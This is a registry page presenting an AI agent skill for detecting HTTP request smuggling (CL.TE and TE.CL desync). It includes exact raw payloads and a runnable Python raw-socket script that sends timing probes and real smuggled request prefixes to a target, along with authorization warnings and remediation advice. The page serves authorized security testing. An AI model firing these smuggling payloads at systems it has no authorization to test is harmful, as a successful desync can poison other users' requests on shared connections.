http-request-smuggling
Skill153 starsChanged 44 days agoMITView on GitHub
Detect HTTP request smuggling by desynchronising front-end and back-end request parsing, using raw-socket timing and differential probes. Use when testing for HTTP desync (CL.TE, TE.CL).
2 other projects use a version of this.
Adopted by
Most recently taken up by
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
- KaanBicaklar/mona-sast-skillstheir own version, first seen Jul 9, 2026
Other versions2 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 2
- KaanBicaklar/mona-sast-skills★ 2same name
- conjure-3301/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository41 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- .github/copilot-instructions.mdCopilot instructions
- broken-access-controlSkill
- cdn-peekSkill
- jwt-attacksSkill
- ssrf-oobSkill
- webapp-probeSkill
- blockchain-forensicsSkill
- foundry-pocSkill
- safe-huntSkill
- smart-contract-auditSkill
- cloud-bucket-bruteSkill
- infrastructure-auditSkill
- dylib-hijack-scanSkill
- endpoint-threat-huntSkill
- parse-securitySkill
- agentic-seoSkill
- agent-onboardingSkill
- context-window-to-skillSkill
- git-commitSkill
- keen-eyesSkill
- no-aispeakSkill
- secure-1pass-accessSkill
- self-improveSkill
- shadow-partnerSkill
- training-guideSkill
- variant-tableSkill
- auditor-quizSkill
- audit-scopeSkill
- evidence-captureSkill
- external-enumerationSkill
- gdocs-audit-reportSkill
- hackerone-reportSkill
- nuclei-suggestSkill
- pre-bountySkill
- sandboxed-audit-runnerSkill
- tiny-auditorSkill
- vm-labSkill
- llm-fuzz-toolsSkill
- mcp-server-pentestSkill
- prompt-injection-auditSkill
The file
We split this skill into the rules it gives an agent
1 rule. About 0 are common, 0 are distinctive, and 1 is very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈0
Distinctive · estimate
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 30
Confirm a proxy chain exists: Look for Via, X-Cache, Server, X-Served-By, or CDN fingerprints in a normal curl -I.
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Contents
- Scope & authorization
- Why raw sockets
- Methodology (timing probes then differential confirmation)
- Payloads (CL.TE and TE.CL, exact bytes)
- Runnable snippet
- Output
Scope & authorization
Request smuggling is an ACTIVE, potentially disruptive check. A successful desync poisons the shared front-end-to-back-end connection: the smuggled prefix can attach to the next request on that socket, which in a real deployment may belong to another user. Run this only against hosts you own or are contractually engaged to test, and prefer a low-traffic window. The timing probes (Steps 2-3) are the safest first pass because they never leave a dangling prefix; the differential confirmations (Steps 4-5) do smuggle a real prefix and should follow only once timing suggests a desync.
The vulnerability exists when a request traverses two servers (CDN/load-balancer/reverse-proxy front-end, then an origin back-end) that disagree on where one request ends and the next begins. That disagreement comes from sending both a Content-Length (CL) and a Transfer-Encoding: chunked (TE) header: if the front-end honors one and the back-end the other, the leftover bytes are "smuggled." A single server with no proxy in front cannot desync, so a negative result on a direct-to-origin host is expected, not a clean bill.
Everything below sends bytes on a raw socket - you cannot craft these requests with curl, because clients and libraries normalize the conflicting headers and fix the framing. Send the exact bytes, including CRLF line endings.
Why raw sockets
- The two framing headers (
Content-LengthandTransfer-Encoding) must both be present and must reach the server unmodified. HTTP libraries strip or reconcile them. - Line endings must be real CRLF (
\r\n). Author the payload with plain\nfor readability, then convert every\nto\r\nbefore sending - matching the source templates exactly. - Detection is per-connection and stateful: you open a fresh TLS socket, send one crafted request, read the response, and compare across two identical sends. The desync shows up on the second request.
Methodology (run in order; each step is a check with a done/result state)
- Confirm a proxy chain exists. Look for
Via,X-Cache,Server,X-Served-By, or CDN fingerprints in a normalcurl -I. A fronted host (Cloudflare/Akamai/Fastly/ALB/nginx) is the interesting case. Note the target and confirm port 443. - CL.TE timing probe. Send a request the front-end frames by
Content-Lengthand the back-end byTransfer-Encoding, arranged so the back-end waits for a chunk that never completes. A response delay near the socket timeout indicates the back-end is stuck reading chunked data - i.e. CL.TE. - TE.CL timing probe. Mirror image: front-end frames by TE and finishes early on the
0chunk, back-end frames by CL and waits for bytes that never arrive. A delay indicates TE.CL. (Send these against/with a method the app accepts; a normal fast baseline request first tells you what "no delay" looks like.) - CL.TE differential confirmation. Send the CL.TE smuggle payload below twice on two fresh connections. The front-end (CL) forwards the whole body; the back-end (TE) stops at the
0chunk, leavingGET /404 ...buffered as the prefix of the next request. Report a finding when the SECOND response's status line is404 Not Foundwhile the FIRST is not - the smuggled prefix rewrote the follow-up request's path. - TE.CL differential confirmation. Send the TE.CL smuggle payload below twice. The front-end (TE) reads the
5c-sized chunk and terminates on0; the back-end (CL: 4) consumes only5c\r\nand leaves theGPOST / HTTP/1.1 ...block buffered as the next request's prefix. Report a finding when the SECOND response's status line is403 Forbiddenwhile the FIRST is not - the smuggled invalid method poisoned the follow-up. - Attribute and stop. As soon as one variant confirms, record which one (CL.TE vs TE.CL) and the exact payload. Do not keep smuggling; each confirmed send may have poisoned one real connection. Re-run once to verify reproducibility, then report.
Payloads (exact bytes; author with \n, send as \r\n)
CL.TE timing probe (Step 2) - back-end blocks waiting for the next chunk:
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4
1
A
XTE.CL timing probe (Step 3) - back-end blocks waiting for Content-Length bytes past the 0 chunk:
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 6
0
XCL.TE differential smuggle (Step 4) - Content-Length: 35 spans the whole body; the 0 chunk ends the request for a TE back-end, leaving the GET /404 prefix:
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: XTE.CL differential smuggle (Step 5) - Content-length: 4 stops the CL back-end after 5c\r\n, leaving the GPOST block; the 5c (92-byte) chunk keeps a TE front-end happy through to the 0 terminator:
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Runnable snippet
Self-contained; no third-party libraries. Set TARGET, run once per variant. It opens a fresh TLS socket per send, normalizes line endings to CRLF, sends twice, and applies the differential test on the response status line.
import socket, ssl, time
TARGET = "TARGET"
PORT = 443
def send(raw, timeout=10):
payload = raw.replace("\r\n", "\n").replace("\n", "\r\n").encode("utf-8")
res, elapsed = None, None
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
t0 = time.time()
s.connect((TARGET, PORT))
s = ssl.create_default_context().wrap_socket(s, server_hostname=TARGET)
s.sendall(payload)
res = s.recv(4096).decode("utf-8", errors="backslashreplace")
elapsed = time.time() - t0
except (ConnectionResetError, ssl.SSLCertVerificationError,
socket.gaierror, socket.timeout):
elapsed = time.time() - t0
return res, elapsed
CLTE_TIMING = f"""POST / HTTP/1.1
Host: {TARGET}
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4
1
A
X"""
TECL_TIMING = f"""POST / HTTP/1.1
Host: {TARGET}
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 6
0
X"""
CLTE_SMUGGLE = f"""POST / HTTP/1.1
Host: {TARGET}
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: X"""
TECL_SMUGGLE = f"""POST / HTTP/1.1
Host: {TARGET}
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
"""
def status_line(r):
return r.split("\r\n")[0] if r else ""
def timing_probe(name, payload):
_, e = send(payload, timeout=8)
delayed = e is not None and e >= 7.5
print(f"[{name}] elapsed={e:.1f}s -> {'DELAY (desync likely)' if delayed else 'no delay'}")
def differential(name, payload, indicator):
r1, _ = send(payload)
r2, _ = send(payload)
if r1 is None or r2 is None:
print(f"[{name}] no response / reset - inconclusive")
return
hit = indicator in status_line(r2) and indicator not in status_line(r1)
print(f"[{name}] r1='{status_line(r1)}' r2='{status_line(r2)}' -> "
f"{'CONFIRMED' if hit else 'not confirmed'}")
timing_probe("CL.TE timing", CLTE_TIMING)
timing_probe("TE.CL timing", TECL_TIMING)
differential("CL.TE", CLTE_SMUGGLE, "404 Not Found")
differential("TE.CL", TECL_SMUGGLE, "403 Forbidden")The differential indicators are variant-specific and come straight from the templates: CL.TE succeeds when the smuggled GET /404 surfaces as 404 Not Found on the second response only; TE.CL succeeds when the smuggled GPOST surfaces as 403 Forbidden on the second response only. A None/reset or a timeout on the differential test is inconclusive, not clean - many back-ends drop the poisoned connection instead of replying.
Output
Finish with a check / done? / result ledger over the six steps, then a one-line verdict:
- Clean - proxy chain present, both timing probes returned promptly, and neither differential confirmation reproduced its indicator across two sends. State that the front-end and back-end agree on request framing.
- Vulnerable - name the confirmed variant (CL.TE or TE.CL), the step and indicator that proved it (
404 Not Found/403 Forbiddenon the second response), and the exact payload. Fix: make the front-end and back-end reconcile framing identically - normalize or reject any request carrying bothContent-LengthandTransfer-Encoding, prefer HTTP/2 end-to-end (which frames by length, not delimiters), and disable front-end connection reuse to the back-end so a smuggled prefix cannot attach to another request.
Report each step's true status - done, inconclusive, or not-run - so coverage is honest; a reset or timeout is never "clean."
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

